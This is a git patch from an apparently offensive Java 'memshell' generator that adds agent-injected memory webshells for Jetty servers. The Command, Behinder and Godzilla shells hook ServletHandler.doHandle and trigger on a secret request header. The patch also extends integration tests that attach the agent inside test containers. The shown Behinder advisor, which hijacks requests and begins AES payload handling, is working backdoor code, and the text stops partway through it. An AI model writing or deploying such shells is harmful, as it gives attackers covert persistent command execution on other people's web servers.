From f4bc254ed3dce5f711526f555e65b74168e3d7e3 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Thu, 9 Jan 2025 01:04:31 +0800 Subject: [PATCH] feat: support jetty agent shell (#19) 1. hook point is org.eclipse.jetty.servlet.ServletHandler.doHandle 2. it doesn't support jetty6, org.mortbay.jetty.servlet.ServletHandler#handle, because ldc visit cannot support java1.4 --- .../reajason/javaweb/memshell/JettyShell.java | 14 ++- integration-test/script/jetty_pid.sh | 2 + .../javaweb/integration/ContainerTool.java | 1 + .../jetty/Jetty10ContainerTest.java | 16 ++-- .../jetty/Jetty11ContainerTest.java | 15 ++-- .../jetty/Jetty61ContainerTest.java | 11 ++- .../jetty/Jetty76ContainerTest.java | 13 ++- .../jetty/Jetty81ContainerTest.java | 13 ++- .../jetty/Jetty92ContainerTest.java | 13 ++- .../jetty/Jetty93ContainerTest.java | 15 ++-- .../jetty/Jetty94ContainerTest.java | 16 ++-- .../behinder/BehinderHandlerAdvisor.java | 81 +++++++++++++++++ .../jetty/command/CommandHandlerAdvisor.java | 38 ++++++++ .../godzilla/GodzillaHandlerAdvisor.java | 87 +++++++++++++++++++ .../injector/JettyHandlerAgentInjector.java | 65 ++++++++++++++ 15 files changed, 361 insertions(+), 39 deletions(-) create mode 100755 integration-test/script/jetty_pid.sh create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderHandlerAdvisor.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandHandlerAdvisor.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaHandlerAdvisor.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyHandlerAgentInjector.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java index 3d6b7362..3c55e1c0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java @@ -1,9 +1,13 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.jetty.behinder.BehinderHandlerAdvisor; import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener; +import com.reajason.javaweb.memshell.jetty.command.CommandHandlerAdvisor; import com.reajason.javaweb.memshell.jetty.command.CommandListener; +import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaHandlerAdvisor; import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector; +import com.reajason.javaweb.memshell.jetty.injector.JettyHandlerAgentInjector; import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector; import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; @@ -23,6 +27,7 @@ import static com.reajason.javaweb.memshell.config.Constants.*; * @since 2024/12/7 */ public class JettyShell extends AbstractShell { + public static final String AGENT_HANDLER = AGENT + "Handler"; @Override protected Map, Class>> getCommandShellMap() { @@ -32,7 +37,8 @@ public class JettyShell extends AbstractShell { FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class), JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class), LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class), - JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class) + JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class), + AGENT_HANDLER, Pair.of(CommandHandlerAdvisor.class, JettyHandlerAgentInjector.class) ); } @@ -44,7 +50,8 @@ public class JettyShell extends AbstractShell { FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class), JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class), LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class), - JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class) + JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class), + AGENT_HANDLER, Pair.of(GodzillaHandlerAdvisor.class, JettyHandlerAgentInjector.class) ); } @@ -56,7 +63,8 @@ public class JettyShell extends AbstractShell { FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class), JAKARTA_FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class), LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class), - JAKARTA_LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class) + JAKARTA_LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class), + AGENT_HANDLER, Pair.of(BehinderHandlerAdvisor.class, JettyHandlerAgentInjector.class) ); } } diff --git a/integration-test/script/jetty_pid.sh b/integration-test/script/jetty_pid.sh new file mode 100755 index 00000000..92795ef5 --- /dev/null +++ b/integration-test/script/jetty_pid.sh @@ -0,0 +1,2 @@ +#!/bin/bash +ps -ef | grep "jetty.home" | grep -v grep | awk '{print $2}' | tr -d '\n' \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index 59fd6252..559e3cf8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -26,6 +26,7 @@ public class ContainerTool { public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script/tomcat_pid.sh")); public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script/resin_pid.sh")); public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script/jboss_pid.sh")); + public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script/jetty_pid.sh")); public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script/websphere_pid.sh")); public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script/weblogic_pid.sh")); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java index 583fc9a7..aa820140 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.jetty; +import com.reajason.javaweb.memshell.JettyShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -31,10 +31,12 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; @Slf4j @Testcontainers public class Jetty10ContainerTest { - public static final String imageName = "jetty:10-jre11-slim"; + public static final String imageName = "jetty:10-jre11"; @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jettyPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -57,8 +59,10 @@ public class Jetty10ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) - ); + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)); } @AfterAll @@ -70,6 +74,6 @@ public class Jetty10ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer); + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java index 2eef5aa5..2c8bcdc9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.jetty; +import com.reajason.javaweb.memshell.JettyShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -31,10 +31,12 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; @Slf4j @Testcontainers public class Jetty11ContainerTest { - public static final String imageName = "jetty:11-jre11-slim"; + public static final String imageName = "jetty:11-jre11"; @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jettyPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -57,7 +59,10 @@ public class Jetty11ContainerTest { arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) ); } @@ -70,6 +75,6 @@ public class Jetty11ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer); + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java index a26800ef..b7794f34 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java @@ -17,8 +17,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -35,6 +34,8 @@ public class Jetty61ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jettyPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -58,18 +59,22 @@ public class Jetty61ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) +// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), +// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), +// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) ); } @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java index 38f1d19f..aef2029f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.jetty; +import com.reajason.javaweb.memshell.JettyShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -35,6 +35,8 @@ public class Jetty76ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jettyPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -57,7 +59,10 @@ public class Jetty76ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) ); } @@ -70,6 +75,6 @@ public class Jetty76ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java index cb864fd5..5c37e76b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.jetty; +import com.reajason.javaweb.memshell.JettyShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -35,6 +35,8 @@ public class Jetty81ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jettyPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -57,7 +59,10 @@ public class Jetty81ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) ); } @@ -70,6 +75,6 @@ public class Jetty81ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java index 702b88af..3ce8665b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.jetty; +import com.reajason.javaweb.memshell.JettyShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +36,8 @@ public class Jetty92ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jettyPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -58,7 +60,10 @@ public class Jetty92ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) ); } @@ -71,6 +76,6 @@ public class Jetty92ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java index fd237c07..a0e2a4df 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.jetty; +import com.reajason.javaweb.memshell.JettyShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -31,10 +31,12 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; @Slf4j @Testcontainers public class Jetty93ContainerTest { - public static final String imageName = "jetty:9.3-jre8-alpine"; + public static final String imageName = "reajason/jetty:9.3"; @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jettyPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -57,7 +59,10 @@ public class Jetty93ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) ); } @@ -70,6 +75,6 @@ public class Jetty93ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java index 8bf506ca..8b4252e0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.jetty; +import com.reajason.javaweb.memshell.JettyShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -31,10 +31,12 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; @Slf4j @Testcontainers public class Jetty94ContainerTest { - public static final String imageName = "jetty:9.4-jre8-slim"; + public static final String imageName = "jetty:9.4-jre8"; @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jettyPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -57,19 +59,23 @@ public class Jetty94ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) ); } @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderHandlerAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderHandlerAdvisor.java new file mode 100644 index 00000000..2adcaa49 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderHandlerAdvisor.java @@ -0,0 +1,81 @@ +package com.reajason.javaweb.memshell.jetty.behinder; + +import net.bytebuddy.asm.Advice; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import java.io.BufferedReader; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + */ +public class BehinderHandlerAdvisor { + + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.Argument(value = 1) Object baseRequest, + @Advice.Argument(value = 2) Object request, + @Advice.Argument(value = 3) Object res + ) { + String pass = "pass"; + String headerName = "headerName"; + String headerValue = "headerValue"; + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null + && value.contains(headerValue)) { + baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); + Map obj = new HashMap(3); + obj.put("request", request); + Object response = res; + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField("response"); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field != null) { + field.setAccessible(true); 